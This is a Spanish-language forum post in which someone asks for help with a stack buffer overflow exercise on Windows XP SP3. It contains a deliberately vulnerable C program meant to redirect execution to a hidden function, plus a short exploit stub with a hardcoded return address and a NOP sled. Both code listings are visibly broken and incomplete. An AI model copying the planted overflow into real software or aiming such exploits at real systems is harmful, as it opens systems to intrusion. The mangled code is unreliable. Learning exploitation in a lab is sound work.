el codigo lo copie de una publicacion de Ikary.-
El problema ocurre en el retorno... Accedo a la funcion oculta...
Sin embargo luego sale la tipica ventanita de No Enviar...
Testeado en WindXP SP3, con Dev-c++.-
A continuación el programa Vulnerable a BoF:
Código
#include <stdio.h> #include <string.h> #include <stdlib.h> int LeerFichero( char *, char *, int ); int FuncionVulnerable( char * ); int FuncionOculta(); main() { char buffer[1000]; char nombre[] = "archivo.txt"; LeerFichero( buffer, nombre, 1000 ); FuncionVulnerable( buffer ); return 0; } int LeerFichero( char *Fbuffer, char *Fnombre, int Limite ){ int c, n=0; FILE *f; if( n<Limite ) Fbuffer[n++] = c; } Fbuffer[n++] = 0; return 0; } int FuncionVulnerable( char *cptr ){ char buff[10] = "Datos"; return 0; } int FuncionOculta( ) { return 0; }
Y este es el exploit, programado en C, es una variación del source de Ikary, que lo hizo en C++:
Código
#include <stdio.h> #include <string.h> #include <stdlib.h> main() { char ret[] = "\xEC\x13\x40\x00"; char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90"; FILE *arch; return 0; }
Si alguien me pudiera dar la teoria de que ocurre para intentar programarlo, lo agradecería muchísimo =]